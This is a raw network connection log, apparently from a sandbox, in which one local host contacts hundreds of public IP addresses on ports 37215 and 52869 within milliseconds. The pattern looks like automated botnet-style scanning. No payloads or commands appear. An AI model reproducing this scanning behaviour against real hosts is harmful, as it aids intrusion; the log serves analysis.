Jul 20, 2024 23:05:44.744215012 CEST	44719	37215	192.168.2.13	157.140.240.84
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	157.182.76.132
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	116.217.31.63
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	41.66.236.89
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	157.68.135.23
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	197.168.81.51
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	157.31.10.251
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	96.61.66.185
Jul 20, 2024 23:05:44.745004892 CEST	44719	37215	192.168.2.13	58.76.101.8
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	32.122.5.126
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	157.83.110.88
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	146.209.115.112
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	41.57.65.199
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	157.245.33.48
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	41.134.112.253
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	58.188.124.139
Jul 20, 2024 23:05:44.745924950 CEST	44719	37215	192.168.2.13	157.247.94.161
Jul 20, 2024 23:05:44.746341944 CEST	44719	37215	192.168.2.13	197.211.119.33
Jul 20, 2024 23:05:44.746341944 CEST	44719	37215	192.168.2.13	41.192.138.42
Jul 20, 2024 23:05:44.746341944 CEST	44719	37215	192.168.2.13	157.68.54.7
Jul 20, 2024 23:05:44.746341944 CEST	44719	37215	192.168.2.13	157.42.141.119
Jul 20, 2024 23:05:44.746341944 CEST	44719	37215	192.168.2.13	157.127.217.60
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	157.3.128.200
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	157.103.202.62
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	41.7.142.147
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	41.32.96.146
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	197.110.0.100
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	157.63.239.85
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	157.55.19.247
Jul 20, 2024 23:05:44.747400045 CEST	44719	37215	192.168.2.13	9.154.18.165
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	157.162.115.66
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	197.171.8.74
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	157.84.103.232
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	41.154.238.129
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	157.53.106.243
Jul 20, 2024 23:05:44.748043060 CEST	44719	37215	192.168.2.13	157.203.252.124
Jul 20, 2024 23:05:44.748430967 CEST	44719	37215	192.168.2.13	41.110.103.205
Jul 20, 2024 23:05:44.749022007 CEST	37215	44719	197.176.126.210	192.168.2.13
Jul 20, 2024 23:05:44.749259949 CEST	37215	44719	157.1.73.255	192.168.2.13
Jul 20, 2024 23:05:44.749264002 CEST	37215	44719	66.202.119.180	192.168.2.13
Jul 20, 2024 23:05:44.749274015 CEST	37215	44719	47.160.56.113	192.168.2.13
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	157.22.175.168
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	157.19.223.117
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	41.176.192.232
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	197.189.15.17
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	137.140.106.103
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	122.33.173.16
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	41.248.77.113
Jul 20, 2024 23:05:44.749397039 CEST	44719	37215	192.168.2.13	157.96.116.35
Jul 20, 2024 23:05:44.749756098 CEST	37215	44719	157.213.215.116	192.168.2.13
Jul 20, 2024 23:05:44.749782085 CEST	37215	44719	41.100.122.57	192.168.2.13
Jul 20, 2024 23:05:44.749789953 CEST	37215	44719	197.21.34.233	192.168.2.13
Jul 20, 2024 23:05:44.749862909 CEST	37215	44719	20.91.234.81	192.168.2.13
Jul 20, 2024 23:05:44.749917030 CEST	37215	44719	207.134.190.180	192.168.2.13
Jul 20, 2024 23:05:44.749921083 CEST	37215	44719	197.33.5.178	192.168.2.13
Jul 20, 2024 23:05:44.749926090 CEST	44719	37215	192.168.2.13	197.218.171.42
Jul 20, 2024 23:05:44.749926090 CEST	44719	37215	192.168.2.13	41.143.84.178
Jul 20, 2024 23:05:44.749926090 CEST	44719	37215	192.168.2.13	157.27.76.92
Jul 20, 2024 23:05:44.750243902 CEST	37215	44719	41.198.113.71	192.168.2.13
Jul 20, 2024 23:05:44.750456095 CEST	37215	44719	197.180.98.210	192.168.2.13
Jul 20, 2024 23:05:44.750459909 CEST	37215	44719	41.61.10.225	192.168.2.13
Jul 20, 2024 23:05:44.750550985 CEST	37215	44719	41.34.74.201	192.168.2.13
Jul 20, 2024 23:05:44.750555038 CEST	37215	44719	157.182.76.132	192.168.2.13
Jul 20, 2024 23:05:44.750570059 CEST	37215	44719	135.118.57.223	192.168.2.13
Jul 20, 2024 23:05:44.750706911 CEST	37215	44719	197.22.12.138	192.168.2.13
Jul 20, 2024 23:05:44.750793934 CEST	37215	44719	116.217.31.63	192.168.2.13
Jul 20, 2024 23:05:44.750925064 CEST	37215	44719	17.56.166.175	192.168.2.13
Jul 20, 2024 23:05:44.750929117 CEST	37215	44719	197.60.247.81	192.168.2.13
Jul 20, 2024 23:05:44.750981092 CEST	37215	44719	41.66.236.89	192.168.2.13
Jul 20, 2024 23:05:44.751266956 CEST	37215	44719	32.122.5.126	192.168.2.13
Jul 20, 2024 23:05:44.751276970 CEST	37215	44719	157.140.240.84	192.168.2.13
Jul 20, 2024 23:05:44.751288891 CEST	37215	44719	157.83.110.88	192.168.2.13
Jul 20, 2024 23:05:44.751403093 CEST	37215	44719	157.68.135.23	192.168.2.13
Jul 20, 2024 23:05:44.751560926 CEST	37215	44719	146.209.115.112	192.168.2.13
Jul 20, 2024 23:05:44.751813889 CEST	37215	44719	197.168.81.51	192.168.2.13
Jul 20, 2024 23:05:44.751817942 CEST	37215	44719	41.57.65.199	192.168.2.13
Jul 20, 2024 23:05:44.751909018 CEST	37215	44719	157.31.10.251	192.168.2.13
Jul 20, 2024 23:05:44.751955986 CEST	37215	44719	157.245.33.48	192.168.2.13
Jul 20, 2024 23:05:44.752234936 CEST	37215	44719	96.61.66.185	192.168.2.13
Jul 20, 2024 23:05:44.752238989 CEST	37215	44719	41.134.112.253	192.168.2.13
Jul 20, 2024 23:05:44.752559900 CEST	37215	44719	58.76.101.8	192.168.2.13
Jul 20, 2024 23:05:44.752633095 CEST	37215	44719	58.188.124.139	192.168.2.13
Jul 20, 2024 23:05:44.752636909 CEST	37215	44719	157.3.128.200	192.168.2.13
Jul 20, 2024 23:05:44.753005981 CEST	37215	44719	197.211.119.33	192.168.2.13
Jul 20, 2024 23:05:44.753010988 CEST	37215	44719	157.103.202.62	192.168.2.13
Jul 20, 2024 23:05:44.753020048 CEST	37215	44719	41.192.138.42	192.168.2.13
Jul 20, 2024 23:05:44.753195047 CEST	37215	44719	157.247.94.161	192.168.2.13
Jul 20, 2024 23:05:44.753453970 CEST	37215	44719	41.7.142.147	192.168.2.13
Jul 20, 2024 23:05:44.753458977 CEST	37215	44719	157.162.115.66	192.168.2.13
Jul 20, 2024 23:05:44.753467083 CEST	37215	44719	41.32.96.146	192.168.2.13
Jul 20, 2024 23:05:44.754281998 CEST	37215	44719	157.68.54.7	192.168.2.13
Jul 20, 2024 23:05:44.754371881 CEST	37215	44719	197.171.8.74	192.168.2.13
Jul 20, 2024 23:05:44.754411936 CEST	37215	44719	197.110.0.100	192.168.2.13
Jul 20, 2024 23:05:44.754415989 CEST	37215	44719	157.84.103.232	192.168.2.13
Jul 20, 2024 23:05:44.754487038 CEST	37215	44719	157.63.239.85	192.168.2.13
Jul 20, 2024 23:05:44.754491091 CEST	37215	44719	41.154.238.129	192.168.2.13
Jul 20, 2024 23:05:44.754499912 CEST	37215	44719	157.42.141.119	192.168.2.13
Jul 20, 2024 23:05:44.754503965 CEST	37215	44719	157.53.106.243	192.168.2.13
Jul 20, 2024 23:05:44.754512072 CEST	37215	44719	157.55.19.247	192.168.2.13
Jul 20, 2024 23:05:44.754821062 CEST	37215	44719	9.154.18.165	192.168.2.13
Jul 20, 2024 23:05:44.754825115 CEST	37215	44719	157.22.175.168	192.168.2.13
Jul 20, 2024 23:05:44.754833937 CEST	37215	44719	157.19.223.117	192.168.2.13
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	70.59.130.45
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	198.91.167.171
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	154.231.55.145
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	160.190.170.122
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	85.148.77.203
Jul 20, 2024 23:05:44.754841089 CEST	43695	52869	192.168.2.13	139.33.173.153
Jul 20, 2024 23:05:44.754991055 CEST	37215	44719	41.176.192.232	192.168.2.13
Jul 20, 2024 23:05:44.754995108 CEST	37215	44719	197.189.15.17	192.168.2.13
Jul 20, 2024 23:05:44.755004883 CEST	37215	44719	137.140.106.103	192.168.2.13
Jul 20, 2024 23:05:44.755008936 CEST	37215	44719	122.33.173.16	192.168.2.13
Jul 20, 2024 23:05:44.755012035 CEST	37215	44719	41.248.77.113	192.168.2.13
Jul 20, 2024 23:05:44.755016088 CEST	37215	44719	157.96.116.35	192.168.2.13
Jul 20, 2024 23:05:44.755091906 CEST	37215	44719	197.218.171.42	192.168.2.13
Jul 20, 2024 23:05:44.755100965 CEST	37215	44719	41.143.84.178	192.168.2.13
Jul 20, 2024 23:05:44.755105019 CEST	37215	44719	157.27.76.92	192.168.2.13
Jul 20, 2024 23:05:44.756205082 CEST	37215	44719	157.203.252.124	192.168.2.13
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	203.159.215.172
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	157.15.76.225
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	219.226.208.117
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	41.155.103.110
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	79.231.4.107
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	58.59.241.40
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	197.155.53.176
Jul 20, 2024 23:05:44.756478071 CEST	44719	37215	192.168.2.13	157.122.185.61
Jul 20, 2024 23:05:44.757020950 CEST	44719	37215	192.168.2.13	197.157.102.168
Jul 20, 2024 23:05:44.757020950 CEST	44719	37215	192.168.2.13	157.220.1.219
Jul 20, 2024 23:05:44.757020950 CEST	44719	37215	192.168.2.13	69.50.222.236
Jul 20, 2024 23:05:44.757020950 CEST	44719	37215	192.168.2.13	197.50.6.110
Jul 20, 2024 23:05:44.757020950 CEST	43695	52869	192.168.2.13	83.48.184.22
Jul 20, 2024 23:05:44.757020950 CEST	43695	52869	192.168.2.13	210.52.204.206
Jul 20, 2024 23:05:44.757020950 CEST	43695	52869	192.168.2.13	150.77.23.224
Jul 20, 2024 23:05:44.757020950 CEST	43695	52869	192.168.2.13	161.76.112.94
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	217.176.102.120
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	52.140.45.218
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	181.110.157.143
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	86.55.93.188
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	107.124.173.140
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	223.93.233.28
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	201.27.64.140
Jul 20, 2024 23:05:44.757569075 CEST	43695	52869	192.168.2.13	136.131.232.10
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	138.73.16.127
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	101.196.219.163
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	71.19.185.18
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	201.159.63.193
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	206.69.179.214
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	220.42.136.230
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	133.47.8.223
Jul 20, 2024 23:05:44.758109093 CEST	43695	52869	192.168.2.13	5.80.27.233
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	192.28.69.196
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	166.0.176.115
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	57.56.239.9
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	208.132.58.12
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	185.94.34.64
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	84.122.19.44
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	148.241.146.89
Jul 20, 2024 23:05:44.758647919 CEST	43695	52869	192.168.2.13	47.24.223.169
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	71.89.34.110
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	149.4.101.218
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	185.148.162.184
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	110.231.234.212
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	57.70.228.68
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	64.8.133.180
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	118.97.214.162
Jul 20, 2024 23:05:44.759211063 CEST	43695	52869	192.168.2.13	70.141.200.116
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	51.214.27.255
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	134.56.1.32
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	79.9.30.109
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	13.127.152.20
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	197.245.176.76
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	116.11.232.23
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	52.179.3.204
Jul 20, 2024 23:05:44.759805918 CEST	43695	52869	192.168.2.13	95.175.60.218
Jul 20, 2024 23:05:44.760315895 CEST	40226	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	173.140.75.78
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	46.225.94.191
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	19.191.55.27
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	173.134.199.239
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	165.27.10.231
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	140.58.126.223
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	181.5.171.125
Jul 20, 2024 23:05:44.760386944 CEST	43695	52869	192.168.2.13	78.54.125.98
Jul 20, 2024 23:05:44.760407925 CEST	60306	80	192.168.2.13	95.143.222.132
Jul 20, 2024 23:05:44.760407925 CEST	51992	80	192.168.2.13	95.239.206.180
Jul 20, 2024 23:05:44.761233091 CEST	43695	52869	192.168.2.13	200.245.226.155
Jul 20, 2024 23:05:44.761233091 CEST	43695	52869	192.168.2.13	41.153.39.208
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	50.45.192.30
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	115.211.29.136
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	111.235.180.30
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	202.126.103.160
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	185.15.143.135
Jul 20, 2024 23:05:44.761234045 CEST	43695	52869	192.168.2.13	147.49.98.20
Jul 20, 2024 23:05:44.761281967 CEST	37215	44719	157.127.217.60	192.168.2.13
Jul 20, 2024 23:05:44.761535883 CEST	37215	44719	203.159.215.172	192.168.2.13
Jul 20, 2024 23:05:44.761724949 CEST	37215	44719	157.15.76.225	192.168.2.13
Jul 20, 2024 23:05:44.761775017 CEST	37215	44719	219.226.208.117	192.168.2.13
Jul 20, 2024 23:05:44.761784077 CEST	37215	44719	41.155.103.110	192.168.2.13
Jul 20, 2024 23:05:44.761787891 CEST	37215	44719	79.231.4.107	192.168.2.13
Jul 20, 2024 23:05:44.761982918 CEST	37215	44719	58.59.241.40	192.168.2.13
Jul 20, 2024 23:05:44.761986971 CEST	37215	44719	197.155.53.176	192.168.2.13
Jul 20, 2024 23:05:44.761996031 CEST	37215	44719	157.122.185.61	192.168.2.13
Jul 20, 2024 23:05:44.761998892 CEST	37215	44719	197.157.102.168	192.168.2.13
Jul 20, 2024 23:05:44.762007952 CEST	37215	44719	157.220.1.219	192.168.2.13
Jul 20, 2024 23:05:44.762265921 CEST	37215	44719	69.50.222.236	192.168.2.13
Jul 20, 2024 23:05:44.762269974 CEST	37215	44719	197.50.6.110	192.168.2.13
Jul 20, 2024 23:05:44.762459040 CEST	52869	43695	83.48.184.22	192.168.2.13
Jul 20, 2024 23:05:44.762463093 CEST	52869	43695	210.52.204.206	192.168.2.13
Jul 20, 2024 23:05:44.762470961 CEST	52869	43695	150.77.23.224	192.168.2.13
Jul 20, 2024 23:05:44.762531042 CEST	52869	43695	161.76.112.94	192.168.2.13
Jul 20, 2024 23:05:44.762587070 CEST	52869	43695	217.176.102.120	192.168.2.13
Jul 20, 2024 23:05:44.762595892 CEST	52869	43695	52.140.45.218	192.168.2.13
Jul 20, 2024 23:05:44.762599945 CEST	52869	43695	181.110.157.143	192.168.2.13
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	117.179.3.179
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	72.243.193.23
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	13.235.137.177
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	24.106.137.173
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	35.238.156.67
Jul 20, 2024 23:05:44.762689114 CEST	43695	52869	192.168.2.13	76.33.91.119
Jul 20, 2024 23:05:44.762690067 CEST	43695	52869	192.168.2.13	80.194.29.81
Jul 20, 2024 23:05:44.762690067 CEST	43695	52869	192.168.2.13	38.143.29.99
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	5.11.90.177
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	143.103.67.33
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	115.231.71.8
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	53.190.237.195
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	160.27.139.144
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	207.78.68.47
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	205.56.139.172
Jul 20, 2024 23:05:44.762809992 CEST	43695	52869	192.168.2.13	169.62.241.60
Jul 20, 2024 23:05:44.762892008 CEST	52869	43695	86.55.93.188	192.168.2.13
Jul 20, 2024 23:05:44.762896061 CEST	52869	43695	107.124.173.140	192.168.2.13
Jul 20, 2024 23:05:44.762904882 CEST	52869	43695	223.93.233.28	192.168.2.13
Jul 20, 2024 23:05:44.763027906 CEST	52869	43695	201.27.64.140	192.168.2.13
Jul 20, 2024 23:05:44.763341904 CEST	52869	43695	136.131.232.10	192.168.2.13
Jul 20, 2024 23:05:44.763345957 CEST	52869	43695	138.73.16.127	192.168.2.13
Jul 20, 2024 23:05:44.763355017 CEST	52869	43695	101.196.219.163	192.168.2.13
Jul 20, 2024 23:05:44.763359070 CEST	52869	43695	71.19.185.18	192.168.2.13
Jul 20, 2024 23:05:44.763417959 CEST	52869	43695	201.159.63.193	192.168.2.13
Jul 20, 2024 23:05:44.763422012 CEST	52869	43695	206.69.179.214	192.168.2.13
Jul 20, 2024 23:05:44.763431072 CEST	52869	43695	220.42.136.230	192.168.2.13
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	50.201.147.187
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	53.192.11.80
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	85.203.84.114
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	112.91.116.109
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	4.142.254.239
Jul 20, 2024 23:05:44.763513088 CEST	43695	52869	192.168.2.13	85.31.225.149
Jul 20, 2024 23:05:44.763535976 CEST	52869	43695	133.47.8.223	192.168.2.13
Jul 20, 2024 23:05:44.763540983 CEST	52869	43695	5.80.27.233	192.168.2.13
Jul 20, 2024 23:05:44.763729095 CEST	52869	43695	192.28.69.196	192.168.2.13
Jul 20, 2024 23:05:44.763732910 CEST	52869	43695	166.0.176.115	192.168.2.13
Jul 20, 2024 23:05:44.763741016 CEST	52869	43695	57.56.239.9	192.168.2.13
Jul 20, 2024 23:05:44.763746023 CEST	52869	43695	208.132.58.12	192.168.2.13
Jul 20, 2024 23:05:44.763752937 CEST	52869	43695	185.94.34.64	192.168.2.13
Jul 20, 2024 23:05:44.764050961 CEST	52869	43695	84.122.19.44	192.168.2.13
Jul 20, 2024 23:05:44.764055014 CEST	52869	43695	148.241.146.89	192.168.2.13
Jul 20, 2024 23:05:44.764065027 CEST	52869	43695	47.24.223.169	192.168.2.13
Jul 20, 2024 23:05:44.764070988 CEST	52869	43695	71.89.34.110	192.168.2.13
Jul 20, 2024 23:05:44.764173985 CEST	52869	43695	149.4.101.218	192.168.2.13
Jul 20, 2024 23:05:44.764374971 CEST	52869	43695	185.148.162.184	192.168.2.13
Jul 20, 2024 23:05:44.764379025 CEST	52869	43695	110.231.234.212	192.168.2.13
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	147.75.131.20
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	90.103.49.222
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	175.155.101.178
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	36.122.31.202
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	9.75.8.22
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	185.81.177.164
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	196.148.71.131
Jul 20, 2024 23:05:44.764580011 CEST	43695	52869	192.168.2.13	142.120.198.214
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	177.172.242.108
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	218.168.241.182
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	38.224.234.248
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	128.185.217.88
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	36.170.162.58
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	25.240.115.218
Jul 20, 2024 23:05:44.764702082 CEST	43695	52869	192.168.2.13	18.20.68.195
Jul 20, 2024 23:05:44.764769077 CEST	52869	43695	57.70.228.68	192.168.2.13
Jul 20, 2024 23:05:44.765055895 CEST	52869	43695	64.8.133.180	192.168.2.13
Jul 20, 2024 23:05:44.765059948 CEST	52869	43695	118.97.214.162	192.168.2.13
Jul 20, 2024 23:05:44.765069008 CEST	52869	43695	70.141.200.116	192.168.2.13
Jul 20, 2024 23:05:44.765074015 CEST	52869	43695	51.214.27.255	192.168.2.13
Jul 20, 2024 23:05:44.765450954 CEST	52869	43695	134.56.1.32	192.168.2.13
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	54.33.48.195
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	199.177.55.230
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	157.192.66.118
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	197.99.45.206
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	41.103.210.9
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	157.42.125.17
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	216.61.151.61
Jul 20, 2024 23:05:44.765459061 CEST	44719	37215	192.168.2.13	197.203.211.123
Jul 20, 2024 23:05:44.765633106 CEST	52869	43695	79.9.30.109	192.168.2.13
Jul 20, 2024 23:05:44.765636921 CEST	52869	43695	13.127.152.20	192.168.2.13
Jul 20, 2024 23:05:44.765645027 CEST	52869	43695	197.245.176.76	192.168.2.13
Jul 20, 2024 23:05:44.765657902 CEST	52869	43695	116.11.232.23	192.168.2.13
Jul 20, 2024 23:05:44.765661001 CEST	52869	43695	52.179.3.204	192.168.2.13
Jul 20, 2024 23:05:44.765669107 CEST	52869	43695	95.175.60.218	192.168.2.13
Jul 20, 2024 23:05:44.765681028 CEST	52869	43695	173.140.75.78	192.168.2.13
Jul 20, 2024 23:05:44.766139984 CEST	52869	43695	46.225.94.191	192.168.2.13
Jul 20, 2024 23:05:44.766144991 CEST	52869	43695	19.191.55.27	192.168.2.13
Jul 20, 2024 23:05:44.766153097 CEST	52869	43695	173.134.199.239	192.168.2.13
Jul 20, 2024 23:05:44.766156912 CEST	52869	43695	165.27.10.231	192.168.2.13
Jul 20, 2024 23:05:44.766165018 CEST	52869	43695	140.58.126.223	192.168.2.13
Jul 20, 2024 23:05:44.766169071 CEST	52869	43695	181.5.171.125	192.168.2.13
Jul 20, 2024 23:05:44.766696930 CEST	52869	43695	78.54.125.98	192.168.2.13
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	187.17.62.193
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	156.55.6.20
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	143.56.55.183
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	108.155.162.179
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	35.12.142.12
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	102.161.177.239
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	66.233.74.150
Jul 20, 2024 23:05:44.766870022 CEST	43695	52869	192.168.2.13	210.63.32.117
Jul 20, 2024 23:05:44.766900063 CEST	52869	43695	200.245.226.155	192.168.2.13
Jul 20, 2024 23:05:44.766910076 CEST	52869	43695	41.153.39.208	192.168.2.13
Jul 20, 2024 23:05:44.767009974 CEST	52869	43695	70.59.130.45	192.168.2.13
Jul 20, 2024 23:05:44.767014027 CEST	52869	43695	50.45.192.30	192.168.2.13
Jul 20, 2024 23:05:44.767024040 CEST	52869	43695	198.91.167.171	192.168.2.13
Jul 20, 2024 23:05:44.767028093 CEST	52869	43695	115.211.29.136	192.168.2.13
Jul 20, 2024 23:05:44.767031908 CEST	52869	43695	154.231.55.145	192.168.2.13
Jul 20, 2024 23:05:44.767169952 CEST	52869	43695	111.235.180.30	192.168.2.13
Jul 20, 2024 23:05:44.767174006 CEST	52869	43695	160.190.170.122	192.168.2.13
Jul 20, 2024 23:05:44.767299891 CEST	52869	43695	202.126.103.160	192.168.2.13
Jul 20, 2024 23:05:44.767308950 CEST	52869	43695	85.148.77.203	192.168.2.13
Jul 20, 2024 23:05:44.767533064 CEST	52869	43695	185.15.143.135	192.168.2.13
Jul 20, 2024 23:05:44.767806053 CEST	37122	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:44.767838001 CEST	52869	43695	139.33.173.153	192.168.2.13
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	94.192.41.225
